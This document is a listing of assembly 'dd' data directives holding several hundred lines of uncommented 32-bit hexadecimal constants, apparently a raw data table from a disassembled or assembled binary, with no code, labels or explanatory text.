dd 6F128E30h, 58D269F8h, 0B5E69790h, 869780F6h, 9806BE41h
dd 0F0212ADBh, 1DAC80D4h, 0DF898026h, 0F32F5778h, 0D614814h
dd 83253C2Ch, 4BFC359Eh, 34797CBFh, 0D6215713h, 1B727634h
dd 4C350801h, 0DAE3C10Dh, 1EF9F040h, 3E54DB24h, 5928FB02h
dd 0A3E55A07h, 1416813Fh, 0A22E1D71h, 1D4102FCh, 42315D59h
dd 0ED1E8AFFh, 0C85F1001h, 40604E40h, 0A314148Dh, 7D1CC923h
dd 1229D2FBh, 0E644FB76h, 4582F301h, 0EAA30FB4h, 328E03FBh
dd 0AE06C205h, 7B8009BCh, 0B685E95Ah, 56AC4068h, 312803D4h
dd 3BCEFEFh, 0A5955325h, 0ED6096D6h, 0A05F3564h, 0B1886CF3h
dd 40E4A8F5h, 0F01B82Ah, 2D511016h, 9C217C6Ch, 1D899900h
dd 9552780Dh, 60E99468h, 0C38FE160h, 4CE364DBh, 33897B18h
dd 1305C7AAh, 0DFFCA8F3h, 7BA1B692h, 2B84292Fh, 3E8CEF45h
dd 14AB28BFh, 6784F19Dh, 43D039E9h, 0D2C46825h, 973C7D4Eh
dd 4A10E96h, 0E1657C7Eh, 49886F66h, 562703AAh, 81B3402Bh
dd 305B2DB1h, 0D72FB225h, 0FEC98000h, 0E9BFB450h, 1482572Dh
dd 0B1C9B86h, 5D02B60Fh, 0E0E9446h, 0D713E5DCh, 51535B44h
dd 0BD0DB6C0h, 2AF79842h, 2710A6AFh, 0E1682966h, 72D36EFBh
dd 0D18974BEh, 49245E4h, 0C728EB83h, 93887044h, 5527AA2h
dd 0C1DBF766h, 0E3EC82EBh, 20370D6h, 0B70D8417h, 0EC28695h
dd 45A5409h, 0FF49D819h, 0A380CCh, 0BB45C478h, 8EC9CCAh
dd 7C9102BDh, 0CB397799h, 9FDFF0EBh, 48F5B3C0h, 9FF1D2F4h
dd 12B59278h, 0C7E6D739h, 1197295h, 7C693B3Eh, 8E07E0C1h
dd 5E350206h, 0E9D27643h, 66710965h, 8A82E8B9h, 0DC0931F8h
dd 5040528Fh, 0C0122241h, 0B104D14Eh, 8DBEC847h, 0B85A140Dh
dd 64E91365h, 0D4ED6E5Dh, 0ACBA58DFh, 5A9F191Eh, 0EEEDD15Ch
dd 0F47ED3DCh, 327EE907h, 9D2D4CC0h, 0EA5E4954h, 2C3E0070h
dd 35D8F73Bh, 0CD095A0Eh, 8CC129FAh, 77287DCAh, 0AB7959E8h
dd 154EC4Fh, 0B73305FEh, 0D9F9EE21h, 8811F5A9h, 4B126DEAh
dd 0D2D542FEh, 8CC03BFDh, 12F87DB8h, 0EB487B2Eh, 16E90702h
dd 69BA029Ah, 68FA51E1h, 83C44B49h, 10B08BBFh, 0E858A66Bh
dd 5003E756h, 9C466E68h, 34485891h, 88274D35h, 5D4402Fh
dd 855499D7h, 0E54B9A68h, 404F2E30h, 9EE6B33Ch, 736D21D3h
dd 0A833B7BDh, 0D0F485h, 27F60EB9h, 5D606334h, 331D4205h
dd 7C653E21h, 11D9A513h, 0E8015F04h, 6A88D9BFh, 7C68B981h
dd 0DE4555C2h, 0B8F75816h, 0CA4EE84Fh, 5E93BF2Bh, 0B70FE691h
dd 41370130h, 2FB660E5h, 0B6F53031h, 31A5951Eh, 95285479h
dd 88BEDF0Fh, 0D8C26972h, 68590BA9h, 0C89A5106h, 7D5606DDh
dd 2BDD341h, 0C741CD3Ah, 0C6C92460h, 340A7F82h, 6110200h
dd 41754F1Fh, 4E2BAF2Eh, 0E6E5DD22h, 6A141AEh, 7F2A194Ah
dd 20E0FD17h, 76C79A7Eh
dd 0FBC1275Fh, 0A6BD2AD3h, 42A7B9C5h, 73477DF2h, 73019EA8h
dd 4A6A551Dh, 0F43EC283h, 0E6E7D1D3h, 3AE19BC8h, 2A3AA48h
dd 36B269C9h, 20D25C01h, 9F4E9808h, 0F3C522D9h, 2388A709h
dd 0BAD6F79Bh, 0EAAEACD8h, 2EB9045Bh, 0C40A5A05h, 8133BE92h
dd 0D7FAF451h, 31FE9C24h, 4B36D653h, 3AA92480h, 0E91D3A6Fh
dd 2CEA7520h, 0E826C4Dh, 1FC47935h, 561EADC9h, 0BB1FB5C1h
dd 0A45BBE8Fh, 752620A9h, 5827AA2h, 49BAE948h, 67D95B1Eh
dd 0B46E32Ah, 878869B0h, 43CFEFCh, 0A3DD4EF6h, 3B484E5h
dd 43A91FABh, 0E18851C6h, 44D9CB92h, 0DEF11409h, 0AE95BD3h
dd 37413E79h, 54602C84h, 2389D5EDh, 90D15557h, 0C497F43Fh
dd 0EF810377h, 619F15F8h, 0DB5CFB0h, 0E11EA3Eh, 0AE1853F7h
dd 17E98227h, 0D33A7DB0h, 350CC477h, 0EA4E6B7Fh, 986ED829h
dd 0E4B45B48h, 0E86A4025h, 77810F51h, 9BC6D589h, 0AD7F1CEDh
dd 29CCBD04h, 53C06734h, 3B33B4Bh, 0EECB8113h, 4383792Dh
dd 0AA9FC0DCh, 1D5AD928h, 610D114h, 399572AFh, 477E038Ch
dd 0D9F758D0h, 7B3C100Eh, 0E0494F98h, 3B8678E9h, 76CEEBE5h
dd 0F74A048Eh, 2A3B82DAh, 179F4E55h, 0B575E54h, 2B94DFC5h
dd 0D0A525BDh, 0B84A1EA8h, 3DFBB421h, 0ED316FC6h, 0B900825Dh
dd 0D2003A39h, 7B6D2D6Eh, 28015AFAh, 900705C8h, 8BB72020h
dd 0E8442EEDh, 5F0A8950h, 0E7C3493Dh, 129830CFh, 0C2F24C9Fh
dd 889CAF1h, 75C4C180h, 0AB83EE2h, 91A8135Bh, 0BF7370C5h
dd 0BDEC5231h, 0FCFE2901h, 2B95C059h, 0B0EE743Ah, 0D84F420Ch
dd 79E97A5Ah, 3E420841h, 655C07CCh, 0DC52AFA5h, 1A984284h
dd 942219E8h, 305E1C31h, 4C160390h, 8DE019E0h, 32DF5F47h
dd 554056CAh, 66807760h, 6D61E5ADh, 0C7DE9C7Ch, 0F74290BBh
dd 56BAF152h, 3E21E96Bh, 0F0FBFDC7h, 955A12Bh, 5725EF39h
dd 6E596789h, 15776885h, 97553ACCh, 34C91D4Ch, 9FDD04Fh
dd 7D8011BEh, 3067AA00h, 0D7EA5E70h, 0ABD1E924h, 5AF05598h
dd 78113B27h, 9925D26h, 0D551B265h, 0D9C5E389h, 0B7680647h
dd 0BABE8266h, 6733E970h, 77EA3180h, 55114B0Dh, 94F5C2ABh
dd 0A0F6D3ADh, 0ABB6529Dh, 1AED8140h, 48662507h, 881B0FAh
dd 0FBD22E5Ah, 2C62F803h, 3449D387h, 4110C008h, 0F2905C88h
dd 0C75BD828h, 0D003F7E6h, 8FC1D92Dh, 44C2EA84h, 752A2035h
dd 6FCD8007h, 53C1E5C0h, 3B20B2B7h, 686A82D9h, 3098327Fh
dd 276852F1h, 7276304Eh, 0E33B7B28h, 559E130Dh, 1CBC3516h
dd 31093C25h, 0E46FE271h, 40A2F3F0h, 4520DD55h, 0A9150ED0h
dd 0CC2BE902h, 6AEF31DCh, 5C92E8C3h, 0BAA7385h, 4879CD7Dh
dd 904B793Eh, 64B8D200h, 366769h, 4F7B6E35h, 72D403Ch
dd 0A281216h, 16E5F886h, 0B8FC15E9h, 0BD85E585h, 10848AABh
dd 0B7368B5h, 1D237FEDh, 8B0164D0h, 4A782556h, 203AEAD1h
dd 972F0DF7h, 0C8B051ECh, 0EEAC0640h, 0B35A4A68h, 0DFB30220h
dd 0D6DE86E9h, 266EF70h, 0BE7275D6h, 7362F2B4h, 6AEAFCF9h
dd 0DD68176Fh, 268C6AC2h, 586DE58Bh, 0E95055A0h, 27C5E14Bh
dd 0EC4BCDB2h, 50033AA4h, 9F41FE4Ah, 0FB6C8930h, 7104A67Dh
dd 83529D11h, 62C02F9h, 16063108h, 60CA133h, 0DA6BB5E3h
dd 360BA456h, 703BAE69h, 1A702610h, 43066FEBh, 0D3B766F0h
dd 92273EC8h, 6850A780h, 0F43D060Bh, 0E8FAAF4Ah, 72F0EE5Bh
dd 9A724C73h, 514E1C00h, 0B774E969h, 2D24F1B5h, 7860CBC2h
dd 2D182C49h, 6A0E4336h, 93E85066h, 38E402E3h, 49E9405Fh
dd 0F214EEC4h, 5ED2823Fh, 2F1354A0h, 6D7E7260h, 0A840D212h
dd 332A44BAh, 0C028C136h, 3CC9CCD5h, 84914F83h, 80006A65h
dd 51B7CDEEh, 4FB5609Eh, 849EDC0h, 3E7658DBh, 0F272A9E9h
dd 0BD481202h, 0EBD1A53Ch, 5A580805h, 6720A01h, 0C9C5E49h
dd 6A2E00B7h, 0B28BE955h, 5EC4999Fh, 0D1CF046Eh, 9F9DC0EFh
dd 0DD1F904Eh, 8982F729h, 60315FFDh, 8077427Bh, 0AC2D840Fh
dd 609092A5h, 25476A28h, 8FC84C62h, 7F1B6338h, 0E2112953h
dd 790C926Ch, 2CBBA6BCh, 29A5168Ch, 56B06A0Eh, 4D3658FCh
dd 97418925h, 6A16F0E9h, 0E1C11913h, 0D0C92204h, 66B90913h
dd 0A8B22142h, 0B6AAC575h, 0F72F2D36h, 890AC0D6h, 1CB462E1h
dd 0B301FC59h, 743028B9h, 0E3A75F27h, 5D013884h, 0C121A151h
dd 96DE2F32h, 0F121EBE9h, 0F124E3AAh, 0B024C6Eh, 7BB01D7h
dd 89190554h, 24B4E95Fh, 888866B8h, 83BFC46Ah, 0C688FEEFh
dd 89F34BCCh, 6C97E0C7h, 1B022F99h, 5C1A7452h, 0D75D1F6Ch
dd 644BD739h, 29DDF1CFh, 0DB3A3AF1h, 89163DB7h, 81C8E2F2h
dd 0B951FA01h, 3EA212Ah, 0D28204A2h, 0F994BB25h, 9541437h
dd 7786B082h, 3142BABAh, 0DA2DD7F6h, 92B9F2F4h, 5B5938E5h
dd 2CF7FED4h, 130F57D9h, 5EC9BC80h, 0D2DACFB3h, 6806CFD4h
dd 2C157FD9h, 0C93F95C3h, 0E200538Bh, 61127C45h, 0E92E8192h
dd 8881D596h, 30585AF3h, 27B8A36Eh, 62090935h, 368D53Eh
dd 58814429h, 0AD5A7F22h, 545D7D16h, 0A0D91014h, 87F32C17h
dd 5B6641DDh, 1856F857h, 0C4B1599Fh, 0C9C2C152h, 0EDF37AC5h
dd 0EA64CBDFh, 2B5DCC19h, 0E98258A7h, 0C6D1FADAh, 0A9BF6937h
dd 273AF797h, 29C2EE40h, 269C5344h, 9982C63h, 1B5784CEh
dd 0D59DCA1Eh, 4AF17220h, 0A72F3DB1h, 78B56031h, 0E52782B4h
dd 0C98190D1h, 0A9304B43h, 1807AA68h, 1F21962h, 48C532CAh
dd 5116C9F2h, 0B9147A1Dh, 61570C7Bh, 7C2C1816h, 400E6036h
dd 27724A50h, 3B139B98h, 0EAB8A179h, 5E871850h, 17AD8A65h
dd 499E9FF1h, 16F50112h, 28B18037h, 585F66E3h, 92309928h
dd 0BD05E4C1h, 54E970F1h, 0BA52409Fh, 0D9015D80h, 0A661B85Ch
dd 0A07B6650h, 352625EFh, 0C820F321h, 0C6870260h, 62E76858h
dd 8B9ABB4Dh, 2B4F5809h, 2D6FC2AAh, 0E65FFB70h, 46BE7F00h
dd 4A182F7Dh, 0A8780156h, 94220A1Fh, 5007EDFCh, 0A9837F0Dh
dd 0D9486430h, 95939808h, 799763F2h, 23B9C0BEh, 0B785427h
dd 2DD7CF58h, 4E479CF9h, 0BFA849EBh, 68BD6258h, 929EAC2Bh
dd 0F032E62Ah, 4ECAB244h, 0C47DED5Ch, 4BA8FBE3h, 0C4B7179Eh
dd 0D868BEE6h, 815E4F5Ch, 0D030D205h, 85276820h, 13269328h
dd 441AE929h, 0C1885200h, 5ACEC46h, 289F3F01h, 0CA5143Bh
dd 0B425F1E4h, 0E1A4985h, 4BFE5FC0h, 0E9399801h, 10645427h
dd 1684B909h, 1676AA2Ah, 2541D16h, 20163853h, 2CF0A140h
dd 180D1E30h, 96377CFh, 7401E917h, 167F3FA9h, 39595D48h
dd 0F5BA825Ah, 13C3EC62h, 27EB1020h, 0C520C2E9h, 9C4167CDh
dd 890C3461h, 9170774Fh, 0EFEB24EDh, 9A118A03h, 4D0AC0E3h
dd 33FA41D0h, 0AA3BA5Eh, 30D96E10h, 0F75B8C29h, 0E0E0B8D3h
dd 75669F3Eh, 9714DE01h, 36E5B81Eh, 5AE926D4h, 5F28023Bh
dd 8889E1D1h, 0F2D46660h, 0E488F451h, 972F4E22h, 81E5DA47h
dd 45F95E08h, 0F68ED34h, 7633CB8h, 7FA99E4Bh, 0EE5D744Ah
dd 50E92FFDh, 39CECB89h, 885FEDFAh, 0C145A393h, 7C2CB9CAh
dd 64C124D9h, 0EC77886Dh, 68B6722Dh, 12E2EEECh, 0E1569F61h
dd 5886E08Dh, 8217703Ch, 3C756668h, 1A20F725h, 3920078Fh
dd 7919CEECh, 0C6F0E359h, 376071ADh, 1BE87BFDh, 0B602ACBCh
dd 6AACAE7Ah, 0C3F4580Ch, 7CAD2D06h, 68C035DBh, 0E9DE1D9Dh
dd 2507E490h, 392F6110h, 21A9E086h, 0B727D8BFh, 0C5D641A0h
dd 0E9257BD5h, 5CCFC1D4h
dd 4301F472h, 159CE65h, 0C04194Ch, 0A1A3DB81h, 57C1406Bh
dd 893F2F09h, 0F26FF5FFh, 4CFB27Fh, 6803F2ACh, 0AF784CAAh
dd 3055ACA9h, 0BA80A2DCh, 77761781h, 7225BF06h, 974391AFh
dd 0B753009Dh, 0A6043DC8h, 31BD1433h, 9AF05DB2h, 68515531h
dd 5681345h, 3EF5F10h, 88DA85B9h, 55A6D2E4h, 101391E5h
dd 61F60F97h, 0FAA9BE1Ch, 6750CCD7h, 44688F91h, 1699AF2Eh
dd 1D480FFDh, 61C0BF51h, 0D2D1FA1h, 75254037h, 405D8212h
dd 8318DE78h, 7BE2D3E1h, 4F920E98h, 0FF5A361h, 0DEA749CBh
dd 0F7079728h, 0C00548D0h, 0D4391762h, 9FE92773h, 2F0DF1E9h
dd 0A18B9624h, 5EA3680Bh, 0AEAAD7C6h, 0FAADBB5Fh, 471E51F5h
dd 0FBEAC452h, 4F988617h, 0E9F00B21h, 4B9B8569h, 3A60EFC1h
dd 9FC51F8Ch, 0BAC78DA4h, 6AE9594h, 1BBA5EA7h, 468DEF07h
dd 0F760064Eh, 1687859Ch, 0ADFA29D8h, 0D7ED8B49h, 900EE510h
dd 0CB079B99h, 83534C88h, 0A31374EBh, 8FD4C80Eh, 132F4FE9h
dd 933DEB63h, 0AAB0133Ah, 8E832A25h, 37FAC4A5h, 0AB0593BCh
dd 202CEF20h, 8397E7BEh, 0D25752B3h, 468B573Ah, 0C09F3916h
dd 952765A6h, 412C06E7h, 9BD5558h, 1F131BCh, 102BF880h
dd 5ABF1507h, 0CE3D0F99h, 0EFE9EA08h, 0C9697776h, 0CC3A46A5h
dd 0EE955944h, 36E9185Ch, 0DCBF7D18h, 75A9190Bh, 0F7A1F501h
dd 81FB4DD8h, 685DEB12h, 8C7B2B25h, 7F4022CEh, 51E2955Ch
dd 2854CD75h, 0A76254A9h, 7E80EC0h, 0C30B3A2Ch, 0B4CB4305h
dd 201698ACh, 0BD0912D6h, 219F4CCFh, 460B02C4h, 0D21ED5DBh
dd 59F1BFEh, 0AA804B93h, 55A73B9Dh, 7321F2FBh, 0C280F93Ch
dd 7223552Eh, 3775EAECh, 154AE0Dh, 8031CCAh, 0D50BDAE9h
dd 0B125746Eh, 3C8159DAh, 0CC207712h, 55BA3A9Ch, 0C9F564B5h
dd 5B79E614h, 66D9F602h, 2536150h, 3E4BF67Ah, 4119158h
dd 455F4316h, 82DEF656h, 0C55FB410h, 5066B06Ch, 2C4E4EB0h
dd 0B6B0C6BCh, 0C639805Eh, 27EE9D87h, 7FE3F68Bh, 0E0C06C0Bh
dd 0FA13B151h, 0A2B1A7E9h, 1265CB6Eh, 0F334F22Fh, 453EA901h
dd 59201BFCh, 0C23EED26h, 6C966B1h, 0F6B33A5Ch, 0C2CCEC93h
dd 77331D68h, 0E909E6C5h, 56F62481h, 5E0362BBh, 575AE67Ch
dd 395B7031h, 0E60A17BDh, 2C119A2h, 3E5ACD68h, 24353033h
dd 8E95CFDh, 40138470h, 0C75BC400h, 0A031DB47h, 0BE58197h
dd 61784CE3h, 5314B8D4h, 102A0482h, 0DB8036FCh, 0F60143DCh
dd 10D560F7h, 49B57BE6h, 254122B7h, 17BAFDE7h, 0AEE35600h
dd 50485E7Ch, 0C730ED1h, 0A04F4FA2h, 6967E1E7h, 0FA80A049h
dd 0F2F373Bh, 0C053E30Ch, 37EF9C00h, 21065D60h, 0F5E913FBh
dd 56DFE40Fh, 8D12E6BEh, 0DD09D313h, 4E8B708Fh, 0E1E4BC53h
dd 0AD7859E9h, 0E0D0A84Eh, 4A65675Ch, 4034B819h, 200B4EC5h
dd 0F6097C55h, 0ADC43011h, 4EC4D97Dh, 0BA166A01h, 0DE466409h
dd 8917E3h, 4DA4058Eh, 2D0B27B1h, 87670AECh, 7CAF893h
dd 5211503Eh, 8B23BA5Bh, 0E43292C2h, 0DAB22E57h, 26FB406Eh
dd 579C76C6h, 0A0AA542Dh, 64C5950Bh, 4F1BF6BFh, 0F75818FAh
dd 6809082Ah, 0AC27D9D0h, 208E1F0Ch, 44363505h, 0F1B83BADh
dd 0FEB2916h, 1A7D9F45h, 68F50C2Bh, 0B2ECE923h, 11B0992Ah
dd 0B54565Eh, 514C6E68h, 0B3358895h, 19AD6416h, 0CB681E74h
dd 0E9933051h, 24D65D29h, 0A893CFADh, 0A868161Ch, 120963FBh
dd 9E52F49h, 0D719B668h, 997BF16h, 2EF04CBh, 5A4720AFh
dd 3C963CE9h, 3389F32Dh, 66132D4h, 0D261E90Dh, 82B5367Eh
dd 8469D99Eh, 0BF129BB4h, 27A00C10h, 0C96EFE5Dh, 3A8C82E2h
dd 0B30F53B5h, 690BB677h, 0B42360CAh, 0E1283CA6h, 0E967E796h
dd 3B929E0Dh, 0D0BCB185h, 2738AA8Eh, 0E69744C1h, 2BFE4575h
dd 828B02E0h, 4E3B9655h, 0B77B6EDh, 0C8AF09E9h, 30647251h
dd 8F0C48DDh, 2E09531Bh, 4AE2C142h, 72E560E6h, 33879728h
dd 8BD8195Ah, 8B09D895h, 97BC13F5h, 4912D0B7h, 0B79044EDh
dd 0D212FDEFh, 4F631D40h, 2C3A5C32h, 0BD4180C3h, 3ED36DBEh
dd 80AAD129h, 0AB14EAC4h, 0A0CE7BA4h, 975E6EFCh, 0B78B1651h
dd 69F9F15Ch, 7B877600h, 9B51E08h, 13317597h, 1F12EFF5h
dd 68E8E901h, 6E7D51A2h, 0FA25BADAh, 620483F6h, 0B0A5D6Ch
dd 0C1BF0594h, 6D7B26h, 2DF4CDBAh, 0C0C0DBA1h, 4994FB40h
dd 245BA662h, 85870404h, 70999DFEh, 26FE6834h, 4994D3B7h
dd 12D8CC04h, 0E2031FBCh, 62536919h, 0F1C21102h, 0F6473B72h
dd 2D2241Bh, 1F3F53F8h, 0D561C662h, 9F56A28h, 2027D97Eh
dd 31480E9Ah, 0A7813CDh, 9CA671CDh, 9EA80B44h, 76581431h
dd 95BD02E8h, 416BC22Ah, 0D819144h, 2E9E801h, 25247983h
dd 58E7609Dh, 22D2952Dh, 42E9594Bh, 0F4772712h, 0CA40DBF1h
dd 308801B7h, 0B65259CFh, 60F7C1C3h, 11FFF898h, 5600627Bh
dd 350F5768h, 855E0E74h, 0BE56D917h, 13BB5A09h, 3ED88CC3h
dd 45EC09B9h, 2D002E42h, 1204F5Bh, 9775F1ECh, 1811DD30h
dd 0E8404A34h, 220C092Dh, 1478282Eh, 24590781h, 31267F82h
dd 0BC1AB242h, 0B5B6D80Dh, 98A44AE7h, 9B5A9162h, 6EBCACB0h
dd 195E54E1h, 12983F30h, 2DA137h, 7C4AA2E1h, 561D4238h
dd 0DB3AFABEh, 0F602D3BDh, 7ADB2277h, 998463F7h, 0DEF905EEh
dd 5ACDF23Bh, 66B281BCh, 3F8EC857h, 0B1539D5Ah, 2C89F82Dh
dd 0D2DED3F6h, 0E7C734B2h, 31FE1208h, 7CA66648h, 3CA993F3h
dd 3B19BF10h, 6E4A10ACh, 89F33112h, 3EB3357Dh, 0BCE84091h
dd 0E2F1AD03h, 2A4365A4h, 7AA05180h, 5E412C9Ah, 0B850018Fh
dd 0C3CB354Ch, 1AA51E5Fh, 3ABD0C8Fh, 18DE77ECh, 92D1D3BFh
dd 0E97F615Ch, 451F7C48h, 56CA7B89h, 5F10FA91h, 541588Dh
dd 71F721D0h, 1B43EF00h, 0F90109AEh, 0D0081CA0h, 0FF34141Ch
dd 5A6A8BFEh, 0AAF4F6EDh, 40C1F8D8h, 63BC5A99h, 1206666Ah
dd 1CCA05Eh, 0EF755DE9h, 0A7D9292Eh, 56A8E1ECh, 84F4E039h
dd 0E25175E2h, 8E2A10DAh, 0CA80A159h, 53683281h, 0B202C24h
dd 7BDE308h, 3F9FF380h, 390F8609h, 16FBC306h, 4DA8624Fh
dd 0FAED2F7Eh, 542BCADCh, 6656804h, 0B63571FEh, 0BA316B49h
dd 0C104D9AEh, 6DB479C7h, 64BD0BD0h, 3F007F90h, 0D421B29h
dd 59B6015Eh, 7B71B15Bh, 0B48937B4h, 1ECE1D23h, 9F4467B6h
dd 50C454F7h, 79821DFh, 355A4868h, 3D2843F5h, 0B150F85Fh
dd 680077B0h, 679B171Ch, 0EB708B02h, 9B616051h, 1FC1055Dh
dd 90F372E9h, 604C5ADAh, 925F09Fh, 6C636F7Dh, 4E12B7D4h
dd 0A7DE3000h, 0EF566B1Bh, 7FCDAA82h, 425D0CC4h, 5E07000Eh
dd 0A4011168h, 36540F3Dh, 0CF653761h, 978BBA8Bh, 9B6DD155h
dd 4B87E10h, 4E206859h, 5E1882B3h, 4018E15Bh, 5A4AE6B7h
dd 3AFC4C35h, 87B04A59h, 124ECB01h, 3EAC127h, 0E907C8CFh
dd 0E4DC5F68h, 4C160865h, 0CBECD26Bh, 565F94Ah, 60702FD4h
dd 209B3A87h, 484BBA0Dh, 0C282A026h, 2D061336h, 3D5AE07Dh
dd 80806AB5h, 0DDB64D0Eh, 0FB8925B0h, 0F749F479h, 0D4C07C8Bh
dd 9195C589h, 3F2C1173h, 5FF83101h, 68407568h, 9C42DE93h
dd 544E7A16h, 3E8E0136h, 7A897737h, 90E9ACE4h, 7444D72Ah
dd 0EC198092h, 544F4A51h, 82A0B87h, 98014927h, 0C1BA8181h
dd 8D3D7E7Dh, 55EF96DFh, 0B6CCD041h, 1B32BF00h, 0B11E2135h
dd 3313FD01h, 0B13F40E6h, 454430BDh, 54097005h, 15E035E9h
dd 9B3A355h, 865B2BD2h
dd 0F5501F50h, 8F265507h, 32AC1102h, 0C1481711h, 79DACB03h
dd 0F3B01005h, 24D71E4Fh, 5554F8A8h, 0AD7C16A0h, 0FA61127Bh
dd 24179008h, 0D1800B9h, 0FA291BE7h, 807E2A2h, 0D069A5E9h
dd 78C40547h, 0BD3AB83Ah, 2F929352h, 7A410FAh, 11A275h
dd 0A144CBF6h, 9E70956Eh, 0B7C85820h, 0B1F044F8h, 0E1A2564Eh
dd 2FFBCA4Fh, 20F4655Dh, 3E4EF6A4h, 0CE024627h, 509053CBh
dd 0EE6D8C8h, 44916614h, 5E2C05E9h, 0B0C54CCDh, 63E993D0h
dd 664AC507h, 0CEC1BE5Ah, 17DF38F0h, 0B014B775h, 0A24020F5h
dd 7874C958h, 0CE100507h, 119D9ECh, 83C66F9Eh, 5224B4A8h
dd 22F27440h, 0FC6E5A25h, 31F58187h, 3FDBE6AAh, 0DDBC8217h
dd 0A61FA024h, 2D7D6E7Bh, 555A4A56h, 6817B852h, 0BABC0992h
dd 0A7AC05CAh, 0FC5A137Eh, 25E950BCh, 530C16Bh, 39C5504h
dd 0D8025A58h, 0E91356C4h, 2EC0D0Bh, 0A4453CFh, 0BCC240DAh
dd 980FA12Eh, 0C1B0133h, 15E93379h, 0C5ED28A0h, 4F475A6h
dd 8C68133Ch, 0FF60EF45h, 41791CF0h, 5EB80C31h, 0E56DC1DEh
dd 0F5193D9h, 692465F1h, 1D74A859h, 5517D187h, 16BBF9C4h
dd 0D013B954h, 0AAE9E397h, 9EB0E6DEh, 0E9525060h, 247A1F30h
dd 51964Eh, 0CB48C0B9h, 2BC1811Bh, 24D43A16h, 0FA58F4A4h
dd 0B14E5E89h, 442E83D4h, 0F81AF910h, 321615E1h, 0D12A6372h
dd 7008B161h, 530C4727h, 0C8F75D83h, 0C0BFA8A1h, 5F037FEFh
dd 655D1340h, 2AA72D8Bh, 0D36057DDh, 71EEB7B8h, 0E754E720h
dd 9570C8D8h, 0A900D129h, 2A5E29B6h, 0F4900CC3h, 0B8C2B535h
dd 0FA305F5Dh, 0F582FF4Ch, 0E02D0E05h, 801EB517h, 284BEB88h
dd 95B07760h, 5991C470h, 0E9A5F343h, 362F7BF8h, 63B0180Ch
dd 8B803C5Ah, 5B4FE950h, 2C7D2888h, 28A8C783h, 29AC0EC2h
dd 7D206805h, 5B664557h, 0D2DB0BBFh, 0FE7CEC69h, 0E1205A3Fh
dd 17BC32D0h, 0A9F9E544h, 0B09389C8h, 0CEC5A220h, 0CDEF2F82h
dd 0D6ACF854h, 5CDE5CAFh, 29BD2A54h, 4930CF77h, 0F1C53DD1h
dd 43B5262Bh, 0F3F08544h, 94AB8277h, 0E491B5Ch, 0F40809B7h
dd 23050E2h, 42F76FC9h, 79C8DFC5h, 0F50B6FB2h, 0FFCEE97Dh
dd 0AA063D9Ah, 5809377Ah, 0D641F680h, 0E8CC635Bh, 2BEA9D2Fh
dd 202E0BC7h, 685657B0h, 5D791F1Ah, 126B094Eh, 96614974h
dd 0EFEB2957h, 9DFA7049h, 0B90D04E7h, 0A63EC510h, 0C46627CEh
dd 0C9D89569h, 808FC16Eh, 9AE7D633h, 56C5BD21h, 9CDB098Ah
dd 653E422Dh, 128A42Eh, 7015F3BBh, 48433814h, 60E80027h
dd 7DE91D4Bh, 7512B565h, 3F6A3AC0h, 837599B5h, 9375E910h
dd 654B6C9Eh, 595B2D63h, 8A7243h, 52CBFE3Ah, 0E2C0E4B2h
dd 0CA80030Ch, 0EC060C01h, 2DE879C2h, 9ED86BF2h, 7F31CBFEh
dd 0CF47E4F6h, 4E05BB04h, 0FFB86668h, 0D4D2A94Fh, 48310F29h
dd 40EA77C2h, 36966F12h, 0F54001AFh, 6C490FC5h, 0FD2B694Eh
dd 3008A608h, 0B21A00Ch, 0FD99744Ah, 496A528h, 1911A633h
dd 0A02B68B4h, 0D7023497h, 0FE14B151h, 53235DC1h, 0CB82D2F1h
dd 0B849D55h, 0D75021E9h, 16AF5199h, 0ABE927A4h, 65F7C862h
dd 80A0E9F4h, 28E476EBh, 0AE7EE919h, 1C57B940h, 0A45FF6FBh
dd 6BD22FADh, 0C588E912h, 2683C4E5h, 0DCB3FD1h, 0CD84E2FFh
dd 3FF8F449h, 1378E5F0h, 0EED88F7Ch, 3CB92517h, 0E55BD918h
dd 2395205Ch, 4B52172Ch, 805974EEh, 0A2401400h, 124F602Fh
dd 4CB207FDh, 0D4D7B532h, 0C5800783h, 0C7CD3360h, 52661302h
dd 0D53032B6h, 0EA88A0C0h, 0CA735977h, 0D001DAA0h, 92F0E275h
dd 961AE912h, 8AF631AFh, 5A353B7Bh, 0B8BE01Ch, 5991CAACh
dd 58B9E9BCh, 5F1B40C5h, 0E912E821h, 31AB8414h, 79AC181h
dd 725194D2h, 599F09A8h, 10774B36h, 1DF702FCh, 19FB87DBh
dd 0C74308D7h, 3AD31440h, 31DEBB12h, 0B28CFBE0h, 6CCD80F0h
dd 20459F8Fh, 360BAD20h, 316D13Ch, 8A2E6974h, 0A9166029h
dd 4A182F08h, 551370F6h, 0CD1BC340h, 0E5FAE92Dh, 59014D32h
dd 1DCB970h, 34500BCEh, 25D89A5Dh, 0A0D6AFA6h, 0F5BC0C52h
dd 9AE50581h, 0C130CF10h, 9354D2C6h, 0FB31EF19h, 16989253h
dd 0D96C1847h, 5801C727h, 0B29B0C9h, 556F5211h, 5B14DD82h
dd 662A385Fh, 0FFC89FD3h, 5D8250DDh, 6807AD80h, 0C13B2B62h
dd 2FF048EFh, 0C5CD09A1h, 1396BFDCh, 0F8E149C2h, 128B4C04h
dd 0A47A27BAh, 4CC1B8E6h, 0BBC15E51h, 4959FCA6h, 0FD9D8815h
dd 4D4AC800h, 817C070Dh, 277397C2h, 26CA6017h, 38FFF80Ah
dd 0F2057F6Fh, 43725484h, 0CDDCDD00h, 0B531580Dh, 0E90B13DBh
dd 357B60EEh, 0F8112F4h, 1380996h, 0FDBB94D4h, 0F1F18C64h
dd 370B22FFh, 762D40D6h, 1A577AA9h, 0B5A85876h, 6884CF51h
dd 0E2EC4E45h, 575DB2C1h, 3B172B0Dh, 23D441BFh, 3E134842h
dd 1F07E712h, 60426AFh, 210032BDh, 0E99361B9h, 0A3AA9C6Ah
dd 4FFA9460h, 0F49A2ABCh, 19F8400Dh, 16EB274Dh, 0E8027262h
dd 0C00F7891h, 0C0C4FEDCh, 0A0867E4h, 0AB457480h, 0EC301CC0h
dd 0D08B2DE9h, 1DB080C4h, 0E6512625h, 0D0FBB562h, 0FCA3E9C2h
dd 0A8491471h, 27DB1C04h, 5C4EF34h, 82B0B2AAh, 0A0CBADE9h
dd 880514D1h, 0C2892722h, 0BB8A1590h, 53F0C082h, 95DF73B7h
dd 0CC3C887Ch, 0F26A20A2h, 0ADC6BF8Bh, 94ED9B7h, 9A5FE3E5h
dd 0C9D2D35Ch, 905696F7h, 688B9D57h, 0B6D4B6DDh, 7A9521Eh
dd 0E05FF8EAh, 80D7303Eh, 1577C8BFh, 22D3D7Ah, 249F4411h
